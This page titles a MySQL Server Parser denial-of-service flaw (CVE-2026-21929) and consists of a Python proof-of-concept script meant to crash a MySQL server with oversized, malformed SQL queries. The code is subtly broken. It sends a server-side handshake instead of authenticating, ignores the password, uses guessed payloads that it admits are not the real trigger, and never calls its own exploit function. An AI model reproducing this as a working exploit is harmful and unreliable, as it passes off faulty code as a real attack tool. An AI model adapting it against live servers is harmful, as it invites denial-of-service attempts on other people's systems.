Oracle MySQL Server Parser拒绝服务漏洞 (CVE-2026-21929)

#!/usr/bin/env python3 """ CVE-2026-21929 PoC - Oracle MySQL Server Parser DoS Note: This PoC is for educational purposes only """ import socket import struct import time def mysql_handshake(sock, username): """Perform MySQL authentication handshake""" # Send initial handshake packet packet = b'\x0a\x00\x00\x00\x0d\x00\x00\x00' packet += b'MySQL\x00' # Server version packet += b'\x00' * 50 # Padding sock.send(packet) # Receive handshake response data = sock.recv(1024) return True def send_malicious_query(sock, query): """Send potentially malicious SQL query""" # MySQL packet header (3 bytes length + 1 byte sequence) payload = query.encode('utf-8') length = len(payload) # Construct packet with sequence number 1 packet = struct.pack('<I', length)[:3] packet += b'\x01' # Sequence ID packet += payload sock.send(packet) # Wait for response time.sleep(2) try: response = sock.recv(4096) return len(response) > 0 except: return False def exploit_cve_2026_21929(host, port, username, password): """ Attempt to trigger CVE-2026-21929 Parser DoS vulnerability Note: Actual PoC requires knowledge of specific malformed SQL """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) mysql_handshake(sock, username) # Malformed SQL that triggers Parser component # The exact payload depends on specific vulnerability details malicious_queries = [ "SELECT * FROM users WHERE id = 1 AND " + "a" * 10000 + "=b", "SELECT /* nested */ /* comment */ * FROM table1 WHERE col1 = 'test" + "'" * 500, ] for query in malicious_queries: result = send_malicious_query(sock, query) if not result: print(f"[+] Query triggered DoS condition: {query[:50]}...") return True return False except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() if __name__ == "__main__": print("CVE-2026-21929 MySQL Parser DoS PoC") print("Usage: python3 poc.py <host> <port> <username> <password>") print("WARNING: For authorized testing only")